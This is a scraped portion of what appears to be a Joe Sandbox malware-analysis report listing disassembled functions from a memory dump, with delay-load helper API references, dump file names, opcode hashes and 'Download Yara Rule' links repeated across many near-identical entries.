___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3ea54e68cffdf05d5be5415ce4452148efeeadaf28dbc2cc472f2692866e740a
Instruction ID: 287d0d9c8a7645929036e900af011c40d33194a118029ca24181787d5219b359
Opcode Fuzzy Hash: 3ea54e68cffdf05d5be5415ce4452148efeeadaf28dbc2cc472f2692866e740a
Instruction Fuzzy Hash: 00B012A1268043BC374863163E02F7E021EC3C0B10370403FF001D8082D9400E402033

Function 000CF3CC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: babd15b70835086cf7b9aaaf6f83b88b884235afc00b2aed896ec6e99223484b
Instruction ID: 85d3f39e4913adc4117ac1beb646a0e892adc628e40a9c1812ed263c40858877
Opcode Fuzzy Hash: babd15b70835086cf7b9aaaf6f83b88b884235afc00b2aed896ec6e99223484b
Instruction Fuzzy Hash: 5BB092A126A142BC268863152A12F7E021AC2C0B20330413FB401D4082D84009802032

Function 000CF3D6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a65c7cfa3e3bb37a022be9d631804df61b77547c74f479d060190c00011fd8ef
Instruction ID: 3b14683efc6d979b009bebf1cbc2d5853bf75ae5a25f2b9b1258e787966583d1
Opcode Fuzzy Hash: a65c7cfa3e3bb37a022be9d631804df61b77547c74f479d060190c00011fd8ef
Instruction Fuzzy Hash: C3B092952AA042BC268862152A16F7E021AC2C0B20330403FB001D8082D8810A412032

Function 000CF3EA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3a3444869f3b21fbdc25c58f940cf18f97ac6244aca1c90bb565726c488951b9
Instruction ID: 3a15bcbbe9cb408b3fe79669588218a727adfcee946559ac8ddd7a3fe82792fe
Opcode Fuzzy Hash: 3a3444869f3b21fbdc25c58f940cf18f97ac6244aca1c90bb565726c488951b9
Instruction Fuzzy Hash: D6B012D1268043BC374863657E02F7E025EC3C0B10330803FF501D4082D9400D402033

Function 000CF3E0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e2ba617f507d8033a956ac65067cdd402b4da0a390c6b1cae899be6a190db62c
Instruction ID: 279a4a66d6b9bdde483a226205a9f6581c99d695149d8eff4ac1c73a0adfa4d0
Opcode Fuzzy Hash: e2ba617f507d8033a956ac65067cdd402b4da0a390c6b1cae899be6a190db62c
Instruction Fuzzy Hash: 3BB09291269042BC768862152A12F7E025AC6C0B20370403FB001D4082D84009402032

Function 000CF3FE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1584a17132b7ce1ea7027b1eb1a35ffd0cfb931c6cd944bc5c0ee207c1225c3b
Instruction ID: 6726fb3a73254f74c8ef12b1d15787636226b2c75a7ce77c59a3f8a87ae14641
Opcode Fuzzy Hash: 1584a17132b7ce1ea7027b1eb1a35ffd0cfb931c6cd944bc5c0ee207c1225c3b
Instruction Fuzzy Hash: 5AB012F12A8043BC374863153F02F7E02AEC3C0B10330403FF001D8082D8810E412033

Function 000CF3F4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: de825f635e1f5db0aef2eb43b3d1633933af84aa1c3c039f453f45ea26820268
Instruction ID: fd07f99dd7d2e783a1fdeb8bd0d5d60ca4614685dfd6738df9ecb28566af48f0
Opcode Fuzzy Hash: de825f635e1f5db0aef2eb43b3d1633933af84aa1c3c039f453f45ea26820268
Instruction Fuzzy Hash: 47B012D1268243BC378863153E02F7E025EC3C0B10330413FF401D4082D8400D802033

Function 000CF408 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 96aa01eec7ace2b46f716048ba8cb97e7b2d824a586a335fb7485c82a5f48829
Instruction ID: 4bec00ba2619869da744f94464fd6748a69bd69461a619128ec9bf3fad0e6b40
Opcode Fuzzy Hash: 96aa01eec7ace2b46f716048ba8cb97e7b2d824a586a335fb7485c82a5f48829
Instruction Fuzzy Hash: B2B012D2268043BC374863153E02F7E025FC3C0B10370413FF001D4082D8400D402033

Function 000CF41C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d17bf1a7b982e28f23ef9a8a714285917e4cb0b337333bb697eedefa7a00002c
Instruction ID: 4f89b7498f0b1ddfc7e6c89e0eb29b5c35259b8e6885351af2cede8ae5d5561f
Opcode Fuzzy Hash: d17bf1a7b982e28f23ef9a8a714285917e4cb0b337333bb697eedefa7a00002c
Instruction Fuzzy Hash: 06B01291278143BC379863253E03F7E021EC3C0B10330813FF401D4082D8400D802073

Function 000CF412 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF32D

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d8632c4e68d108c8f45bd8f453d175ce782ed207e7510a93742ede963c854e9f
Instruction ID: 9fcd00f89ba1278d89b7da4ca43cca829c43e6f96dc5fac6a0bbd983fb3ae121
Opcode Fuzzy Hash: d8632c4e68d108c8f45bd8f453d175ce782ed207e7510a93742ede963c854e9f
Instruction Fuzzy Hash: 5AB01291278043BC375863257E03F7E021EC3C0B10330803FF401D4082D8400D402033

Function 000CF56D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF546

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6d2424029e3fa256ca036fee32a15129e66836b82b3c0d59bdd52b6532a90db4
Instruction ID: 7812a1798c16cec672fa8746885ed6248e367589b73e4f1db82fa32828a00e31
Opcode Fuzzy Hash: 6d2424029e3fa256ca036fee32a15129e66836b82b3c0d59bdd52b6532a90db4
Instruction Fuzzy Hash: 78B012D13E8502BE3308A3593E12FBE015EC3C8B50330403FF301D5041D9404C491173

Function 000CF563 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF546

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 470a1553395498a3351eeb3b055421ab2d07faa084186938609c7e58f4946950
Instruction ID: b24ef3162f6e64d21ba94c00e3b5ff6526a909cc57d65c7b45f2624428e79bf0
Opcode Fuzzy Hash: 470a1553395498a3351eeb3b055421ab2d07faa084186938609c7e58f4946950
Instruction Fuzzy Hash: 51B012D13A8602BE370863593E02FBE018EC7C8B50330413FF301D5041D9404C8D1073

Function 000CF595 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF546

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 03b160e737e92bc293849e692b32eca6d0ee131c7c2e410dcec131e856b0d55c
Instruction ID: 15368319a807906c64802940011fb263cdb75e9016e05f993fe65dfecb94b1ee
Opcode Fuzzy Hash: 03b160e737e92bc293849e692b32eca6d0ee131c7c2e410dcec131e856b0d55c
Instruction Fuzzy Hash: C6B012D53B8802BE3308A3597E12FBE014EC3C8B50330423FF341D5041D9404C491073

Function 000CF689 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF69B

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7d767c7ec5e59f36ad730a72fcdbc9b1867d0d9bb465928d89726d956575713d
Instruction ID: ebe23fa1572c9e7a87d3f0b683f7dfab9646105f05e0fd23696f19e3f9c26c90
Opcode Fuzzy Hash: 7d767c7ec5e59f36ad730a72fcdbc9b1867d0d9bb465928d89726d956575713d
Instruction Fuzzy Hash: EDB01295278102BC330823517F03E7E010FCBC4B10330813FF101F84C298A10D411073

Function 000CF6AE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF69B

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c5a8e3495029e7cd1c33b860c5994c364c2ec25659d92aa57affa0852278cd98
Instruction ID: 476ef4da0ae2be8f249841fe7de0f4b22bb118948e4bb169648ab0a857f51cfb
Opcode Fuzzy Hash: c5a8e3495029e7cd1c33b860c5994c364c2ec25659d92aa57affa0852278cd98
Instruction Fuzzy Hash: FCB01291278002BC330863652F03F7E011FC3C8B10330803FF105E90C1E8910C451173

Function 000CF6A4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF69B

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a85ef86db128322b6b30893199344e6ace48162dd36c6baab02e34c7a995608a
Instruction ID: cb9be1ef233e7ab1afe7c0da9fbd4086907df04c4b951552337089290356e21d
Opcode Fuzzy Hash: a85ef86db128322b6b30893199344e6ace48162dd36c6baab02e34c7a995608a
